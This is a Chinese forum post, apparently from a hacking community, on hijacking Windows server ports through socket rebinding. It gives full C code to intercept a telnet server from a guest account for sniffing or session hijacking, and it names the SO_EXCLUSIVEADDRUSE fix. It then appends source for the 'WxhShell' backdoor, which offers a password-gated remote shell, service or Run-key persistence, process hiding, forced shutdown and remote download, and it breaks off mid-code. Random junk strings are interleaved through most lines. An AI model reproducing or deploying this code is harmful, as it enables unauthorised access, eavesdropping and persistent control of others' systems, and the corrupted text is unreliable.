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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "ngYh]Git$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vrz!.X~  
-H`G6oMOO  
  saddr.sin_family = AF_INET; $_Qo  
`z)!!y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RQ{w`> K  
M Zw%s(lv  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "\BP+AF  
J5Fg]O*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9rao&\eH  
#s#z@F  
  这意味着什么?意味着可以进行如下的攻击: 2a=WT`xf ?  
2,&lGyV#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *!9/`zW  
2c%}p0<;|?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B0z.s+.  
OV8b~k4=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;*W]]4fy  
qW7"qw=   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z{p6Q1u  
aG}9Z8D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pN0c'COy^  
I I>2\d|   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R|+R4'  
;wQWt_OtuJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }aNiO85  
1~ S Y  
  #include 6>=>Yj  
  #include 4nl>&AV  
  #include E;4Ns  
  #include    f6L_u k`{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   oLr"8R\d>t  
  int main() |}M']Vz  
  { q<yH!  
  WORD wVersionRequested; \aZ(@eF@@Q  
  DWORD ret; xD\Km>|i  
  WSADATA wsaData; @5?T]V g  
  BOOL val; rIb[gm)Rk  
  SOCKADDR_IN saddr; ;2@sn+@  
  SOCKADDR_IN scaddr; @i{JqHU"  
  int err; btOTDqG`a  
  SOCKET s; @eT sS%f2  
  SOCKET sc; gs8L/veP  
  int caddsize; <go~WpA|r  
  HANDLE mt; T![K i  
  DWORD tid;   99ha /t  
  wVersionRequested = MAKEWORD( 2, 2 ); 7lVIN&.=  
  err = WSAStartup( wVersionRequested, &wsaData ); y{<#pS.  
  if ( err != 0 ) { gw*d"~A  
  printf("error!WSAStartup failed!\n"); tJwF h6  
  return -1; <Y orQ>  
  } KV5lpN PC  
  saddr.sin_family = AF_INET; huF L [  
   Q"Ec7C5eM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }a9C /t3  
5./ (fgx>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9#iDrZW  
  saddr.sin_port = htons(23); 42wcpSp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R&4E7wrdP  
  { ]Qu12Wg}P  
  printf("error!socket failed!\n"); +uLo~GdbE  
  return -1; i52R,hz  
  } oba*w;  
  val = TRUE; "T&uS1+=c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @qC:% |>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KvD$`"L/CT  
  { n21$57`4  
  printf("error!setsockopt failed!\n"); xF/DYXC{8  
  return -1; Q jBCkx]g  
  } gPwp [  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?:FotnU*p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JG<3,>@%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KB"iF}\P0  
AfEEYP)N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &tgvE6/V  
  { f oVD+\~Y  
  ret=GetLastError(); ^97ZH)Ww  
  printf("error!bind failed!\n"); jkP70Is  
  return -1; 3E ZwF  
  } _B1uE2j9  
  listen(s,2); fv_wK_. %:  
  while(1) Q$vr`yV#=6  
  { A C^[3  
  caddsize = sizeof(scaddr); AY;+Ws  
  //接受连接请求 &JlR70gdHi  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z`5I 1#PVA  
  if(sc!=INVALID_SOCKET) 1hviT&  
  { -(uBTO s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 668bJ.M\O  
  if(mt==NULL) nwo!A3w:  
  { f`,Hr?H  
  printf("Thread Creat Failed!\n"); [~<',,tA0|  
  break; D%idlL2%J  
  } 9-Qtj49  
  } u-9t s  
  CloseHandle(mt); +2}(]J=-  
  } GnOo+hB  
  closesocket(s); 2jZ}VCzRG  
  WSACleanup(); b(q&}60  
  return 0; qE72(#:R*  
  }   erP>P  
  DWORD WINAPI ClientThread(LPVOID lpParam) iFCH$!  
  { Ql@yN@V  
  SOCKET ss = (SOCKET)lpParam; ZY!pw6R1>*  
  SOCKET sc; aTh%oBrtP  
  unsigned char buf[4096]; _ <a)\UR  
  SOCKADDR_IN saddr; OZ;E&IL  
  long num; JX)z<Dz$  
  DWORD val; otSPi7|k  
  DWORD ret; _Af4ct;ng  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]0i2 ]=J&,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j& o+KV  
  saddr.sin_family = AF_INET; ePpK+E[0Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^Ai_/! "  
  saddr.sin_port = htons(23); aF{i A\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gqD^Bs'VF  
  { ]GtR8w@w  
  printf("error!socket failed!\n"); DsW`V~ T  
  return -1; PBs<8xBx^  
  } IaTq4rt  
  val = 100; *@arn Eu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =P;;&j3Z  
  { EjX'&"3.  
  ret = GetLastError(); [a)~Dui0@\  
  return -1; ;vclAsJ  
  } mjl!Nth:<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]az} n(B,  
  { ; 9 &1JX  
  ret = GetLastError(); 06@0r  
  return -1; UeQ9G  
  } ~`>26BWQz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c^Gwri4  
  { inv{dg/2  
  printf("error!socket connect failed!\n"); Omh&)|Iql  
  closesocket(sc); D ,ZNh1xt  
  closesocket(ss); 3zA=q[C  
  return -1; 7k t7^V<  
  } u4#~ i0@  
  while(1) ~:}XVt0%8  
  { h NOYFH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 YNJpQAuSn)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %M)oHX1p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W3V{Xk|  
  num = recv(ss,buf,4096,0); uCP6;~Ns  
  if(num>0) "p~]m~g  
  send(sc,buf,num,0); {8Jk=)(md  
  else if(num==0) V0'p1J tD  
  break; =Sb:<q+Q  
  num = recv(sc,buf,4096,0); C3 b0`|5  
  if(num>0) !:5`im;i  
  send(ss,buf,num,0); 1|EU5<  
  else if(num==0) M`C~6Mf+  
  break; P$6f+{  
  } &Rl3y\ r  
  closesocket(ss);  `\|3 ~_v  
  closesocket(sc); ,4>WLJDo  
  return 0 ; k|$"TFXx;  
  } 8/>wgY  
2 .Eu+*UC  
J'\eS./w|  
========================================================== `m@]  
$XQ;~i   
下边附上一个代码,,WXhSHELL AeY$.b  
K* _{Rs0P  
========================================================== Z}K.^\S9  
^Azt.\fMX  
#include "stdafx.h" {80oRD2=Q  
!7kLFW  
#include <stdio.h> 1IF'>*  
#include <string.h> PK 2Rj%  
#include <windows.h> DUuC3^R  
#include <winsock2.h> .,ppGc| *  
#include <winsvc.h> V6z@"+  
#include <urlmon.h> 94h_t@Q/1  
Oa.f~|  
#pragma comment (lib, "Ws2_32.lib") D*XZT{1g  
#pragma comment (lib, "urlmon.lib") -lP )  
'?`@7Eol  
#define MAX_USER   100 // 最大客户端连接数 TJyH/ C  
#define BUF_SOCK   200 // sock buffer ET,0ux9F  
#define KEY_BUFF   255 // 输入 buffer ! =\DC,-CB  
@`IXu$Wm(  
#define REBOOT     0   // 重启 .o\;,l2  
#define SHUTDOWN   1   // 关机 ;* wT,2;  
n{.*El>{  
#define DEF_PORT   5000 // 监听端口 M|[@znzR<  
jHu,u|e0>S  
#define REG_LEN     16   // 注册表键长度 1Es*=zg  
#define SVC_LEN     80   // NT服务名长度 3XApY'  
<m Ju v  
// 从dll定义API *;OJ ~zT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oeu|/\+HW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^)9MzD^_nV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2,8/Cb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f%Z;05  
TbKP8zw{  
// wxhshell配置信息 vgh ^fa!/  
struct WSCFG { KdOh'OrT9.  
  int ws_port;         // 监听端口 H})Dcg3  
  char ws_passstr[REG_LEN]; // 口令 }@rg5$W  
  int ws_autoins;       // 安装标记, 1=yes 0=no .g/ARwM}  
  char ws_regname[REG_LEN]; // 注册表键名 Xq8uY/j  
  char ws_svcname[REG_LEN]; // 服务名 2YE;m&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '!j #X_;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6?1s`{yy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XD $%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QMXD9H0{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3d,-3U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9SRfjS{7  
"8wf.nZ  
}; ;Pol#0_(  
qYgwyj=4  
// default Wxhshell configuration 5+e>+$2  
struct WSCFG wscfg={DEF_PORT, a,/M'^YyN  
    "xuhuanlingzhe", :X'*8,]KHH  
    1, E;6Y? vJ  
    "Wxhshell", 54 M!Fq -  
    "Wxhshell", ]dPVtk  
            "WxhShell Service", &\;<t, 3A~  
    "Wrsky Windows CmdShell Service", ?1GY%-  
    "Please Input Your Password: ", 55 S\&Ad$  
  1, L.C ^E7;Z_  
  "http://www.wrsky.com/wxhshell.exe", Qqd6.F  
  "Wxhshell.exe" fOa6,  
    }; 0K=Qf69Y  
w)45SZ.  
// 消息定义模块 +R|U4`12  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $q Zc!Qc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8q]J;T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k sB  
char *msg_ws_ext="\n\rExit."; ]]el|  
char *msg_ws_end="\n\rQuit."; 1a7!4)\  
char *msg_ws_boot="\n\rReboot..."; e$CePLEj  
char *msg_ws_poff="\n\rShutdown..."; hnp`s%e,  
char *msg_ws_down="\n\rSave to "; DJm oW  
;;ER"N  
char *msg_ws_err="\n\rErr!"; O0@w(L-  
char *msg_ws_ok="\n\rOK!"; %xf)m[JU=  
NJn&>/vM  
char ExeFile[MAX_PATH]; 6BDt.bG  
int nUser = 0; u~" siH  
HANDLE handles[MAX_USER]; k4S} #!  
int OsIsNt; W[@i;f^g  
Gs+\D0o!  
SERVICE_STATUS       serviceStatus; 1*Sr5N[=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1|o$X  
6exRS]BI  
// 函数声明 CD^CUbGk  
int Install(void); q^Z~IZ8IT  
int Uninstall(void); \.c]kG>k-  
int DownloadFile(char *sURL, SOCKET wsh); /nc~T3j  
int Boot(int flag); RS'} nY}  
void HideProc(void); |r5e{  
int GetOsVer(void); q\a[S*  
int Wxhshell(SOCKET wsl); o:_^gJ+|  
void TalkWithClient(void *cs); XR|"dbZW.0  
int CmdShell(SOCKET sock); }ppVR$7]0  
int StartFromService(void); I^WIa"u_  
int StartWxhshell(LPSTR lpCmdLine); UQ5BH%EPb  
%PzQ\c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V/J>GRjw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;SfNKu  
w|=gSC-o  
// 数据结构和表定义 'g]hmE  
SERVICE_TABLE_ENTRY DispatchTable[] = bFSlf5*H  
{ jRofG'  
{wscfg.ws_svcname, NTServiceMain}, 1xz\=HOT  
{NULL, NULL} 9ftN8Svw  
}; _WKJ<dB<  
w TlGJ$D0  
// 自我安装 NjbwGcH%\  
int Install(void) 'V&2Xvl%  
{ (zY *0lN  
  char svExeFile[MAX_PATH]; 8 4z6zFv?Q  
  HKEY key; M:_!w[NiLp  
  strcpy(svExeFile,ExeFile); F<5nGx cC  
^OF5F8Tf/  
// 如果是win9x系统,修改注册表设为自启动 cqEHYJ;B  
if(!OsIsNt) { ,*dzJT$k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <{giHT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BBvZeG $Y  
  RegCloseKey(key); yIOLs}!SF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h2% J/69  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yj3P 7k$c  
  RegCloseKey(key); $&IpX M]  
  return 0; J/t!- !  
    } Ivsb<qzG  
  } "IG+V:{ou  
} nX._EC  
else { W}h|K:-S  
_S"f_W  
// 如果是NT以上系统,安装为系统服务 R uLvG+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |q_ !. a  
if (schSCManager!=0) {]^2R>0Q  
{ S8%n.<OB  
  SC_HANDLE schService = CreateService -l "U"U"F  
  ( t^.'>RwW|  
  schSCManager, |z~LzSJv  
  wscfg.ws_svcname, ^Gq5ig1rxy  
  wscfg.ws_svcdisp, t}Ss=0dJO  
  SERVICE_ALL_ACCESS, Zm(dY*z5:J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7 jjU  
  SERVICE_AUTO_START, 6Nt$ZYS  
  SERVICE_ERROR_NORMAL, Wr>(#*r7q  
  svExeFile, =Y9\DeIZ  
  NULL, dv7<AJ  
  NULL, bD<qNqX$  
  NULL, yG&2UqX  
  NULL, r~8;kcu7  
  NULL `U{mbw,  
  ); !8*McO I  
  if (schService!=0) /s c.C  
  { ?+r!z  
  CloseServiceHandle(schService); qX$u4I!,  
  CloseServiceHandle(schSCManager); LmQ/#Gx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m=TJDr-  
  strcat(svExeFile,wscfg.ws_svcname); TY.FpW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0Q~@F3N-\>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .0|=[|  
  RegCloseKey(key); %M&3VQ9w  
  return 0; Rg* J}  
    } \cQ .|S  
  } NP/>H9Q2%  
  CloseServiceHandle(schSCManager); %6ub3PLw8  
} gLQ #4H  
} 3]U]?h  
+y&d;0!  
return 1; 8~ #M{}  
} 5| w&dM  
#U=;T]!'$  
// 自我卸载 j7 d:v7+_  
int Uninstall(void) 59*M"1['Q  
{ gUVn;_  
  HKEY key; 7zDiHac  
- 8bNQU  
if(!OsIsNt) { MJ\[Dt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WM,i:P)b  
  RegDeleteValue(key,wscfg.ws_regname); A+ 0,i  
  RegCloseKey(key); d~*TIN8Ke~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /smiopFcq  
  RegDeleteValue(key,wscfg.ws_regname); Lw*]EG|?  
  RegCloseKey(key); wAYB RY[  
  return 0; h qmSE'8  
  } 8]< f$3.  
} zgKY4R{V  
} v27Ja .tA  
else { iOqk*EL_r\  
0a2@b"l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6EJVD!#[K  
if (schSCManager!=0) 61_f3S(u  
{ xx8U$,Ng  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E \{<;S  
  if (schService!=0) ~xyw>m+o.  
  { Owf.f;QR  
  if(DeleteService(schService)!=0) { #S5`Pd!I  
  CloseServiceHandle(schService); n56;m`IU  
  CloseServiceHandle(schSCManager); >dQK.CG  
  return 0; 4MW ]EQ-  
  } Zk? =  
  CloseServiceHandle(schService); hI|)u4q  
  } x<B'.3y  
  CloseServiceHandle(schSCManager); KhaYr)&~  
} .q;ED`G  
} #^rU x.  
Sm|(  
return 1; oq;'eM1,.  
} RL}KAGK  
=P^wh  
// 从指定url下载文件 Xl%0/ o  
int DownloadFile(char *sURL, SOCKET wsh) cH D%{xlb  
{ X-JV'KE}^z  
  HRESULT hr; K7`YJp`i  
char seps[]= "/"; . (`3JQ2s  
char *token;  Mm= Mz  
char *file; tRfm+hqRZ  
char myURL[MAX_PATH]; ;D2E_!N dt  
char myFILE[MAX_PATH]; 8SmjZpQ?  
(P@Y36j>N  
strcpy(myURL,sURL); #y; yN7W  
  token=strtok(myURL,seps); v[S-Pi1  
  while(token!=NULL) 61K"(r~  
  { Hs?zq  
    file=token; 6*XM7'n  
  token=strtok(NULL,seps); Q9>U1]\  
  } h##WA=1QZ  
wH6u5*$p  
GetCurrentDirectory(MAX_PATH,myFILE); k%Vv?{g  
strcat(myFILE, "\\"); raB+,Oi$G  
strcat(myFILE, file); =mt?C n}  
  send(wsh,myFILE,strlen(myFILE),0); Yx)o:#2  
send(wsh,"...",3,0); NHaMo*xQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;b%{ilx:  
  if(hr==S_OK) XutF"9u  
return 0; JMyTwj[7  
else bEH de*q(  
return 1; \54}T 4R  
|V&G81sM  
} 3h=8"lRc  
pyB~M9Bp/  
// 系统电源模块 Cmd329AH  
int Boot(int flag)  46,j9x  
{ KL3<Iz]  
  HANDLE hToken; r%=[},JQ  
  TOKEN_PRIVILEGES tkp; Q~,YbZ-7  
 <!'M} s  
  if(OsIsNt) { m J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <' m6^]:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HFtf  
    tkp.PrivilegeCount = 1; Of7 +/UV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )pgrl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (GU9p>2  
if(flag==REBOOT) { J !#Zi#8sF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fi;VDK(V9  
  return 0; p2pAvlNoF  
} xHkxc}h  
else { d#_m.j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8L{u}|{  
  return 0; $aP(|!g  
} Kn}ub+ "J  
  } ^^?q$1k6r*  
  else { \ L]|-f(4  
if(flag==REBOOT) { mP}#Ccji?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T~>#2N-Z  
  return 0; (.X]F_ *sc  
} d>i13d AI  
else { _a -]?R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]n v( aM?d  
  return 0; Fvl`2W94;  
} d/U."V}  
} jPJAWXB4a  
] |Zb\{  
return 1; "^rNr_  
} H5xzD9K;/C  
3#GqmhqKDk  
// win9x进程隐藏模块 sa#.l% #  
void HideProc(void) *e4TSqC|  
{ NoDZ5Z  
aW;aA'!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _%pAlo_6  
  if ( hKernel != NULL ) I$jvXl=$  
  { >)#c\{ c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9f+RAN(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D<):ZfUbI  
    FreeLibrary(hKernel); ,0?!ov|  
  } >L>+2z  
P]6}\ ]~  
return; ')TPF{\#  
} uofLhy!  
N6/T#UVns  
// 获取操作系统版本 ltA/  
int GetOsVer(void) tYe:z:7l?<  
{ %}qbkkZ  
  OSVERSIONINFO winfo; 8Qrpa o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +;gsRhWk  
  GetVersionEx(&winfo); @.9I3E-=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^ddO&!U  
  return 1; TSto9 $}*  
  else q-&P=Yk  
  return 0; v'ay.oVzw  
} |nxdB&1n  
ok0X<MR!I  
// 客户端句柄模块 S+I^!gT  
int Wxhshell(SOCKET wsl) ]PS\#I}  
{ Ap<J'?~y  
  SOCKET wsh; l5 J.A@0  
  struct sockaddr_in client; >Y&KTSD"  
  DWORD myID; Ja [4A0.  
v59nw]'  
  while(nUser<MAX_USER) \{v,6JC  
{ >&K!VQ{g  
  int nSize=sizeof(client); KH<v@IJ\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d-$_|G+  
  if(wsh==INVALID_SOCKET) return 1; +zO]N&  
p:[LnL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H5M#q6`H6  
if(handles[nUser]==0) m,6h ee  
  closesocket(wsh); T33|';k  
else pj|X]4?wdI  
  nUser++; gGfq6{9g  
  } +R\~3uj[7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8(lCi$  
BKb<2  
  return 0; f=_g8+}h  
} !$>G# +y  
{;n0/   
// 关闭 socket >t #\&|9I  
void CloseIt(SOCKET wsh) "$)yB  
{ Y!n'" *J>  
closesocket(wsh); dR[o|r  
nUser--; kL;t8{n  
ExitThread(0); AQh["1{yJ  
} yT:!%\F9  
^H=o3#P~L  
// 客户端请求句柄 3$_2weZxYn  
void TalkWithClient(void *cs) fVUKvZ}P*  
{ W_JhNe  
vttrKVA  
  SOCKET wsh=(SOCKET)cs; |- OHve4A  
  char pwd[SVC_LEN]; !: |nI77|  
  char cmd[KEY_BUFF]; AbY;H  
char chr[1]; !-(J-45  
int i,j; ^5x4q  
:ICr\FY$  
  while (nUser < MAX_USER) { >hb- 5xC  
@ ;J|xkJ  
if(wscfg.ws_passstr) { wE2x:Ge:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  -$R5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o* _g$  
  //ZeroMemory(pwd,KEY_BUFF); +]L)>$6  
      i=0; (xUFl@I!  
  while(i<SVC_LEN) { 0O; Z  
hht+bpHl  
  // 设置超时 (`mOB6j  
  fd_set FdRead; Sf/W9Jw  
  struct timeval TimeOut; cVg$dt  
  FD_ZERO(&FdRead); ?h&l tD  
  FD_SET(wsh,&FdRead); qKs7WBRJy  
  TimeOut.tv_sec=8; Wa/geQE1<  
  TimeOut.tv_usec=0; C$y fMK,,N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =n)#!i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P:a*t[+  
!Bncx`pl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z@nmjji  
  pwd=chr[0]; \S5V}!_  
  if(chr[0]==0xd || chr[0]==0xa) { O 3}P07  
  pwd=0; !vrnoFVu  
  break; 1eF@_Y^a!  
  } ]>*I)H)  
  i++; a;yV#Y  
    } :|fl?{E  
_!;\R7]  
  // 如果是非法用户,关闭 socket |{!Ns+'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q8tug=c  
} >rRjm+vg  
NIL^UN}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pfNThMf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >oB ?  
v6(,Ax&  
while(1) { cWc$ yE'  
WMA*.$Zi  
  ZeroMemory(cmd,KEY_BUFF); IjgBa-o/V  
$1=v.'Y  
      // 自动支持客户端 telnet标准   ; ?j~8  
  j=0; Qvs(Rt3?y  
  while(j<KEY_BUFF) { +E `063  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YFAnlqC  
  cmd[j]=chr[0]; 3XBp6`  
  if(chr[0]==0xa || chr[0]==0xd) { Xe> ~H4I9  
  cmd[j]=0; %pM :{Z  
  break; eKS:7:X  
  } >sB=\  
  j++; d`<#}-nh  
    } wfWS-pQ  
l.yJA>\24I  
  // 下载文件 F ^[M  
  if(strstr(cmd,"http://")) { P'gT6*an,"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UU-v;_oP  
  if(DownloadFile(cmd,wsh)) s2 wwmtUCN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >DkN+S  
  else 8UlB~fVg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Im}~3NJG  
  } Yoj~|qL  
  else { ,!8*g[^O  
zww?  
    switch(cmd[0]) { 1h& )I%`?  
  ~ rQ4n9G  
  // 帮助 i:AjWC@]  
  case '?': { %y!   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'aLPTVM^  
    break; e=YO.HT  
  } a  [0N,t  
  // 安装 H@Kl  
  case 'i': { xu0;a  
    if(Install()) dawVE O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^?81.b|qb  
    else VuP#b'g=|]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3T Yo  
    break; ZY~zpC_  
    } &8IWDx.7}  
  // 卸载 =]2 b8  
  case 'r': { eimA *0Cq  
    if(Uninstall()) ?Aj\1y4L1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }6yxt9  
    else *S,v$ VX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =<Zwv\U  
    break; QYFN:XZ  
    } 1e+h9|hGYw  
  // 显示 wxhshell 所在路径 S" I#>^  
  case 'p': { (UbR%A|v;  
    char svExeFile[MAX_PATH]; 9F-ViDI.  
    strcpy(svExeFile,"\n\r"); gs^UR6 D,  
      strcat(svExeFile,ExeFile); 9`hpa-m@  
        send(wsh,svExeFile,strlen(svExeFile),0); 0e[ tKn(  
    break; D>!v_v6  
    } g: H[#I  
  // 重启 (\[jf39e  
  case 'b': { z|oA{VxW>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (2hk <  
    if(Boot(REBOOT)) Cb!`0%G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FE^?U%:u@  
    else { u|:UFz^p  
    closesocket(wsh); VO\S>kw  
    ExitThread(0); SF78 s:_!_  
    } #8WR{  
    break; A3<P li  
    } kV]%Q3t  
  // 关机 Vj9`[1}1Z  
  case 'd': { U?+30{hb  
